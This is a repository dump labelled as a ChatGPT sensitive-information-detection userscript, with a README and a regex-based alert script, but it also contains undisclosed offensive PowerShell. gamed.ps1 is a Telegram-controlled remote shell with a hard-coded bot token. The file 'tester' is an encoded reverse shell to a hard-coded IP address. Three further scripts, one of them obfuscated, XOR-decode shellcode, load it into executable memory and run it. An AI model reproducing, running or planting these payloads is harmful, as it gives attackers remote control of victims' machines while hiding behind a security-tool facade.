├── gamed.ps1 ├── README.md ├── tester ├── payload_x64.ps1 ├── paylxxxoad_x64.ps1 ├── tex.ps1 └── Blocker.js /gamed.ps1: -------------------------------------------------------------------------------- 1 | # Replace with your Bot Token and Chat ID 2 | $BotToken = "8006651815:AAFdb-RBtAvHooLfklSitzk6yjh0ALccSpU" 3 | $ChatID = "1542219670" 4 | $Offset = 0 5 | 6 | function Send-TGMessage { 7 | param ([string]$Message) 8 | $Url = "https://api.telegram.org/bot$BotToken/sendMessage" 9 | Invoke-RestMethod -Uri $Url -Method Post -Body @{chat_id = $ChatID; text = $Message} 10 | } 11 | 12 | function Get-TGUpdates { 13 | $Url = "https://api.telegram.org/bot$BotToken/getUpdates?offset=$Offset" 14 | Invoke-RestMethod -Uri $Url -Method Get 15 | } 16 | 17 | function Execute-Command { 18 | param ([string]$Cmd) 19 | try { Invoke-Expression $Cmd | Out-String } catch { $_.Exception.Message } 20 | } 21 | 22 | Send-TGMessage "Reverse shell started on $env:COMPUTERNAME" 23 | 24 | while ($true) { 25 | $Updates = Get-TGUpdates 26 | foreach ($Update in $Updates.result) { 27 | $Offset = $Update.update_id + 1 28 | $Cmd = $Update.message.text 29 | if ($Cmd -eq "/stop") { Send-TGMessage "Shell stopped."; break } 30 | $Result = Execute-Command $Cmd 31 | Send-TGMessage "Command: $Cmd`nResult:`n$Result" 32 | } 33 | Start-Sleep -Seconds 2 34 | } 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ChatGPT Sensitive Information Detection 2 | 3 | Detects if sensitive information, such as credit card numbers, access tokens, and API keys, is entered into ChatGPT and alerts the user. 4 | 5 | ## About 6 | 7 | This UserScript is designed to enhance security and privacy when using ChatGPT by detecting sensitive information entered into the text area. It provides real-time alerts to users when they attempt to input sensitive data, helping to prevent accidental exposure of confidential information. 8 | 9 | ## Features 10 | 11 | - Identifies patterns of sensitive information, including credit card numbers, access tokens, and API keys. 12 | - Provides immediate alerts to users when sensitive information is detected, reminding them not to enter such data into ChatGPT. 13 | - Easy to integrate into ChatGPT sessions as a browser extension using UserScript functionality. 14 | 15 | ## Usage 16 | 17 | To use this script: 18 | 19 | 1. Install a UserScript manager extension in your browser, such as Tampermonkey. 20 | 2. Copy the script provided in `chatgpt_sensitive_info_detection.user.js`. 21 | 3. Paste the script into your UserScript manager and save it. 22 | 4. The script will automatically run when you visit the ChatGPT website and detect sensitive information input into the text area. 23 | 24 | ## Contributing 25 | 26 | Contributions are welcome! If you have ideas for improving this script or want to report an issue, feel free to open an issue or submit a pull request on GitHub. 27 | 28 | ## Author 29 | 30 | This script was authored by Mohammed Fathy ([@Secfathy](https://github.com/SecFathy)). 31 | 32 | ## License 33 | 34 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 35 | -------------------------------------------------------------------------------- /tester: -------------------------------------------------------------------------------- 1 | powershell -e JABzAHQAcgAgAD0AIAAiAFQAYwBQACIAKwAiAEMAIgArACIAbABpACIAKwAiAGUAIgArACIAbgB0ACIAOwAkAHIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoACQAcwB0AHIAWwAtADEALgAuAC0AKAAkAHMAdAByAC4ATABlAG4AZwB0AGgAKQBdACkAOwAKACQAUABKACAAPQAgAEAAKAAiADUANAAiACwAIAAiADQAMwAiACwAIAAiADUAMAAiACwAIAAiADQAMwAiACwAIAAiADYAQwAiACwAIAAiADYAOQAiACwAIAAiADYANQAiACwAIAAiADYARQAiACwAIAAiADcANAAiACkAOwAKACQAVABDAGgAYQByACAAPQAgACQAUABKACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABbAGMAaABhAHIAXQBbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAXwAsACAAMQA2ACkAIAB9ADsACgAkAFAASgBDAGgAYQByACAAPQAgAC0AagBvAGkAbgAgACQAVABDAGgAYQByADsACgA7ACQAUwBTAGEAWABsAFoAaQBjAHoAbwBCACAAPQAgAE4AZQBXAC0AbwBCACcAJwBKAGUAQwBUACAAUwB5ACcAJwBzAHQAJwAnAGUAbQAuAE4AZQB0AC4AUwBvAGMAJwAnAGsAZQB0AHMALgBUAGMAUABDAGwASQBlAE4AdAAoACcAMgAwADcALgAxADgAMAAuADIANQAzAC4ANgAwACcALAA0ADUANgA5ACkAOwAKACQAdQBaAGcAZwBDAFgAcgBJAHkAeQAgAD0AIAAkAFMAUwBhAFgAbABaAGkAYwB6AG8AQgAuACgAJwBHAGUAdAAnACsAJwBTAHQAcgBlAGEAbQAnACkAKAApADsAWwBiAHkAdABlAFsAXQBdACQAUABKAEMAaABhAHIAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AAoAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJAB1AFoAZwBnAEMAWAByAEkAeQB5AC4AUgBlAEEAZAAoACQAUABKAEMAaABhAHIALAAgADAALAAgACQAUABKAEMAaABhAHIALgBMAGUATgBnAFQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsACgAkADcAZAA3ADgAZgBmAGUAMwAgAD0AIAAoAE4AZQBXAC0AbwBCACcAJwBKAGUAQwBUACAALQBUAHkAcABFAE4AQQBtAGUAIABTAHkAJwAnAFMAdABlACcAJwBNAC4AdABFAHgAVAAuAEEAJwAnAFMAQwBpACcAJwBpAEUATgAnACcAYwBvAGQAaQBuAGcAKQAuACgAJwBHAGUAJwArACcAdABTAHQAUgBpAG4ARwAnACkAKAAkAFAASgBDAGgAYQByACwAMAAsACAAJABpACkAOwAKACQAYgAxADUAZgBmADQAOQAwAGMAZgBkADIAYQBhADYANQAzADUAOABkADIAZQA1AGUAMwA3ADYAYwA1AGQAZAAyACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAIAAkADcAZAA3ADgAZgBmAGUAMwAgACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAJwAnAHQALQBTAHQAcgAnACcAaQBuAGcAIAApADsACgAkAEoAPQAkAE8APQAkAEsAPQAkAEUAPQAkAFIAPQAkAFAAPQAkAFcAPQAkAFIAIAA9ACAAJAB7AGIAMQA1AGYAZgA0ADkAMABjAGYAZAAyAGEAYQA2ADUAMwA1ADgAZAAyAGUANQBlADMANwA2AGMANQBkAGQAMgB9ACAAKwAgACcAGwBbADkANABtAEoAbwBrAGUAcgBTAGgAZQBsAGwAGwBbADMAOQBtACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAKACQAcwAgAD0AIAAoACIAewAwAH0AewAxAH0AewAzAH0AewAyAH0AIgAtAGYAIAAiAHMAZQAnACcAbgBkACIALAAiAGIAeQAiACwAIgBlACIALAAiAHQAIgApADsAIAAkAHMAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMAaQBpACkALgBHAGUAdABCAFkAVABlAFMAKAAkAFIAKQA7AAoAJAB1AFoAZwBnAEMAWAByAEkAeQB5AC4AVwByAGkAdABlACgAJABzACwAMAAsACQAcwAuAEwAZQBuAGcAdABoACkAOwAkAHUAWgBnAGcAQwBYAHIASQB5AHkALgBGAGwAdQBzAGgAKAApAH0AOwAkAFMAUwBhAFgAbABaAGkAYwB6AG8AQgAuAEMAbABvAHMAZQAoACkACgA= 2 | -------------------------------------------------------------------------------- /payload_x64.ps1: -------------------------------------------------------------------------------- 1 | Set-StrictMode -Version 2 2 | 3 | function func_get_proc_address { 4 | Param ($var_module, $var_procedure) 5 | $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 6 | $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) 7 | return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) 8 | } 9 | 10 | function func_get_delegate_type { 11 | Param ( 12 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, 13 | [Parameter(Position = 1)] [Type] $var_return_type = [Void] 14 | ) 15 | 16 | $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 17 | $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') 18 | $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') 19 | 20 | return $var_type_builder.CreateType() 21 | } 22 | 23 | If ([IntPtr]::size -eq 8) { 24 | [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJimxomIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGV7alUjn/Kn/aGcTi45ciCAzuBlaJv6B/Dh4UqpN8XxWBSs1h1A18JQGDHtANgC5dPWgpqn+Ch/f/duSQGayBAMpgc0lCM68Xx3bwdR8SN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBQNExgDUVUZEhINEwoDT0pIRgNkRkBITC4pIx0dQETG5AJgGAc+CazdSK1el1sO/LreXxeW4RjHx3ZtaP2QwDGn2qCctOL4Lmw66KEMfW2qii6eIQ0xizgMB5zG5P+Gw/Uo1xnrOp+DELrfizNxfLkCeh6M17s3FS7DqgEn139chS2Jhe9tBgcvpNkfwgmvriV3PBJvWIhZsUcYqpEIwEVStgGuejmTRFI77eQvJcSwgbTmlPWTrvvEtYNK5yrQ63npZ7gC9gwlNLKP72gDn+vJkoDjtdmyvkRhFlLdTcWWFsRsEGpKpd9NLBtVMyMz6FP+PBIN4N0jYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BETFA0SGxMNERYQDRUTIxn9S5I=') 25 | 26 | for ($x = 0; $x -lt $var_code.Count; $x++) { 27 | $var_code[$x] = $var_code[$x] -bxor 35 28 | } 29 | 30 | $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) 31 | $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) 32 | [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) 33 | 34 | $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) 35 | $var_runme.Invoke([IntPtr]::Zero) 36 | } 37 | -------------------------------------------------------------------------------- /paylxxxoad_x64.ps1: -------------------------------------------------------------------------------- 1 | Set-StrictMode -Version 2 2 | 3 | function func_get_proc_address { 4 | Param ($var_module, $var_procedure) 5 | $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 6 | $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) 7 | return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) 8 | } 9 | 10 | function func_get_delegate_type { 11 | Param ( 12 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, 13 | [Parameter(Position = 1)] [Type] $var_return_type = [Void] 14 | ) 15 | 16 | $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 17 | $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') 18 | $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') 19 | 20 | return $var_type_builder.CreateType() 21 | } 22 | 23 | If ([IntPtr]::size -eq 8) { 24 | [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJimxomIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGtrQEkjVImf89jS6djl91hNZDI0KQIs9zol0HCvGbbFVmSuaCyilPg2XaVO2IC0FJxDZxPjNVDWL6jt31nY+rETr6swDPWy5MRp0vQGpSN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBQNExgDUVUZEhINEwoDT0pIRgNkRkBITC4pI4JuSj4X+OcPp4PlqS2vDh//VH5zpYSkdYjmhfg5k5SzZ96H0ShxIj4WLdd2NHG1nKzp12jE0PDfmMczPEjbvsEKuvdDNxNwJaOm16mOpyvxte8N4ulbpJ4AYR8gUvuoQxTLdpjnjP5XN58cNYcyyRrJ9nCJqSUoHYGXs0eQOneHLCfVjXvUmHvGuSIOmR1Epr1pDDYRNOJ6tfc/17l7qacFysqn75sKYkYAP8M2n7opNx5joYzaAKqC4NJ61KFsFkHl0LopVEFf170XwY3aahRtQhnZGPaEaWrjnzEjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BETFA0SGxMNERYQDRUTIxn9S5I=') 25 | 26 | for ($x = 0; $x -lt $var_code.Count; $x++) { 27 | $var_code[$x] = $var_code[$x] -bxor 35 28 | } 29 | 30 | $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) 31 | $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) 32 | [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) 33 | 34 | $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) 35 | $var_runme.Invoke([IntPtr]::Zero) 36 | } 37 | -------------------------------------------------------------------------------- /tex.ps1: -------------------------------------------------------------------------------- 1 | &([string]::join('', ( (83,101,116,45,83,116,114,105,99,116,77,111,100,101) |%{;$_;}|%{ ( [cHar][iNt] $_)}))) -Version 2 2 | function `z`V`GD`oV`I`J`X`Gb`S { 3 | Param ($STkRZchzh, $IhfxfBdTfmh) 4 | $sveEitZLO = ([AppDomain]::CurrentDomain.GetAssemblies() |%{;$_;}| &(("WiZaBnbhZZLfetyudwgSMerfJjrDe-TYHlXBiyIhelOyDSWbTbamejeJCobjcSJYYkTMLuXDEt")[0,7,12,22,12,29,42,6,25,12,60,13] -join '') { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 5 | $XWpIzplMiA = $sveEitZLO.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) 6 | return $XWpIzplMiA.Invoke($null, @([System.Runtime.InteropServices.HandleRef](&([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{$_}<##>|%{ ( [chAR][iNt] $_)}))) System.Runtime.InteropServices.HandleRef((&([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{$_}<##>|%{ ( [chAR][iNt] $_)}))) IntPtr), ($sveEitZLO.GetMethod('GetModuleHandle')).Invoke($null, @($STkRZchzh)))), $IhfxfBdTfmh)) 7 | } 8 | function `jop`R`Cu`V`g`l`P`T`Gm { 9 | Param ( 10 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $LTKFKchSHR, 11 | [Parameter(Position = 1)] [Type] $TsXJPdyTlp = [Void] 12 | ) 13 | $bvzQKtTmB = [AppDomain]::CurrentDomain.DefineDynamicAssembly((&([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |<##>%{$_}|%{ ( [chAR][iNt] $_)}))) System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 14 | $bvzQKtTmB.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $LTKFKchSHR).SetImplementationFlags('Runtime, Managed') 15 | $bvzQKtTmB.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $TsXJPdyTlp, $LTKFKchSHR).SetImplementationFlags('Runtime, Managed') 16 | return $bvzQKtTmB.CreateType() 17 | } 18 | If ([IntPtr]::size -eq 8) { 19 | [Byte[]]$XjzXOMZkYMT = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJimxomIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGV7alUjn/Kn/aGcTi45ciCAzuBlaJv6B/Dh4UqpN8XxWBSs1h1A18JQGDHtANgC5dPWgpqn+Ch/f/duSQGayBAMpgc0lCM68Xx3bwdR8SN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBQNExgDUVUZEhINEwoDT0pIRgNkRkBITC4pIx0dQETG5AJgGAc+CazdSK1el1sO/LreXxeW4RjHx3ZtaP2QwDGn2qCctOL4Lmw66KEMfW2qii6eIQ0xizgMB5zG5P+Gw/Uo1xnrOp+DELrfizNxfLkCeh6M17s3FS7DqgEn139chS2Jhe9tBgcvpNkfwgmvriV3PBJvWIhZsUcYqpEIwEVStgGuejmTRFI77eQvJcSwgbTmlPWTrvvEtYNK5yrQ63npZ7gC9gwlNLKP72gDn+vJkoDjtdmyvkRhFlLdTcWWFsRsEGpKpd9NLBtVMyMz6FP+PBIN4N0jYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BETFA0SGxMNERYQDRUTIxn9S5I=') 20 | for ($OLHwbuMUO = 0; $OLHwbuMUO -lt $XjzXOMZkYMT.Count; $OLHwbuMUO++) { 21 | $XjzXOMZkYMT[$OLHwbuMUO] = $XjzXOMZkYMT[$OLHwbuMUO] -bxor 35 22 | } 23 | $BoxGGeKtKO = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((`z`V`GD`oV`I`J`X`Gb`S kernel32.dll VirtualAlloc), (`jop`R`Cu`V`g`l`P`T`Gm @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) 24 | $xHRZOevuAS = $BoxGGeKtKO.Invoke([IntPtr]::Zero, $XjzXOMZkYMT.Length, 0x3000, 0x40) 25 | [System.Runtime.InteropServices.Marshal]::Copy($XjzXOMZkYMT, 0, $xHRZOevuAS, $XjzXOMZkYMT.length) 26 | $VtaPVXcAm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xHRZOevuAS, (`jop`R`Cu`V`g`l`P`T`Gm @([IntPtr]) ([Void]))) 27 | $VtaPVXcAm.Invoke([IntPtr]::Zero) 28 | } 29 | -------------------------------------------------------------------------------- /Blocker.js: -------------------------------------------------------------------------------- 1 | // ==UserScript== 2 | // @name ChatGPT Sensitive Information Detection 3 | // @namespace https://github.com/SecFathy 4 | // @version 0.1 5 | // @description Detects if sensitive information, such as credit card numbers, access tokens, and API keys, is entered into ChatGPT and alerts the user. 6 | // @author Mohammed Fathy (Secfathy) 7 | // @match https://chat.openai.com/* 8 | // @grant none 9 | // ==/UserScript== 10 | 11 | (function() { 12 | 'use strict'; 13 | 14 | // Define the sensitive information patterns to match against. 15 | const sensitiveInfoPatterns = [ 16 | // Credit card patterns 17 | /^3[47][0-9]{13}$/, // Amex Card 18 | /^(6541|6556)[0-9]{12}$/, // BCGlobal 19 | /^389[0-9]{11}$/, // Carte Blanche Card 20 | /^3(?:0[0-5]|[68][0-9])[0-9]{11}$/, // Diners Club Card 21 | /^65[4-9][0-9]{13}|64[4-9][0-9]{13}|6011[0-9]{12}|(622(?:12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|9[01][0-9]|92[0-5])[0-9]{10})$/, // Discover Card 22 | /^63[7-9][0-9]{13}$/, // Insta Payment Card 23 | /^(?:2131|1800|35\d{3})\d{11}$/, // JCB Card 24 | /^9[0-9]{15}$/, // KoreanLocalCard 25 | /^(6304|6706|6709|6771)[0-9]{12,15}$/, // Laser Card 26 | /^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$/, // Maestro Card 27 | /^(5[1-5][0-9]{14}|2(22[1-9][0-9]{12}|2[3-9][0-9]{13}|[3-6][0-9]{14}|7[0-1][0-9]{13}|720[0-9]{12}))$/, // Mastercard 28 | /^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$/, // Solo Card 29 | /^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$/, // Switch Card 30 | /^(62[0-9]{14,17})$/, // Union Pay Card 31 | /^4[0-9]{12}(?:[0-9]{3})?$/, // Visa Card 32 | /^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$/, // Visa Master Card 33 | 34 | // Access tokens 35 | /^[1-9][0-9]+-[0-9a-zA-Z]{40}$/, // Twitter Access Token 36 | /^EAACEdEose0cBA[0-9A-Za-z]+$/, // Facebook Access Token 37 | /^[0-9a-fA-F]{7}\.[0-9a-fA-F]{32}$/, // Instagram Access Token 38 | /^AIza[0-9A-Za-z-_]{35}$/, // Google API Key 39 | /^[0-9a-zA-Z-_]{24}$/, // Google Secret Key 40 | /^4\/[0-9A-Za-z-_]+$/, // OAuth 2.0 Auth Code 41 | /^1\/[0-9A-Za-z-]{43}$|^1\/[0-9A-Za-z-]{64}$/, // 1/[0-9A-Za-z-]{43}|1/[0-9A-Za-z-]{64} 42 | /^ya29\.[0-9A-Za-z-_]+$/, // OAuth 2.0 Access Token 43 | /^ghp_[a-zA-Z0-9]{36}$/, // Personal Access Token (Classic) 44 | /^github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}$/, // Personal Access Token (Fine-Grained) 45 | /^sk_live_[0-9a-zA-Z]{24}$/, // Stripe 46 | /^55[0-9a-fA-F]{32}$/, // Twilio Access Token 47 | /^key-[0-9a-zA-Z]{32}$/, // Mailgun Access Token 48 | /^xoxb-[0-9]{11}-[0-9]{11}-[0-9a-zA-Z]{24}$/, // Slack Access Token 49 | 50 | // API keys 51 | /^AKIA[0-9A-Z]{16}$/, // Amazon Access ID Key 52 | /^[0-9a-zA-Z/+]{40}$/, // Amazon Secret Key 53 | /^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/, // Google Cloud Platform OAuth 2.0 54 | /^[A-Za-z0-9_]{21}--[A-Za-z0-9_]{8}$/, // Google Cloud 55 | /^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/, // Heroku API Key 56 | /^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/ // Heroku OAuth 2.0 57 | ]; 58 | 59 | // Add an event listener for the 'input' event on the text area. 60 | document.querySelector('textarea').addEventListener('input', function() { 61 | // Get the value of the text area. 62 | const text = this.value; 63 | 64 | // Check if the text matches any of the sensitive information patterns. 65 | for (const pattern of sensitiveInfoPatterns) { 66 | if (pattern.test(text)) { 67 | // If sensitive information is found, alert the user. 68 | alert('Please do not enter sensitive information, such as credit card numbers, access tokens, or API keys, into ChatGPT.'); 69 | break; 70 | } 71 | } 72 | }); 73 | })(); 74 | --------------------------------------------------------------------------------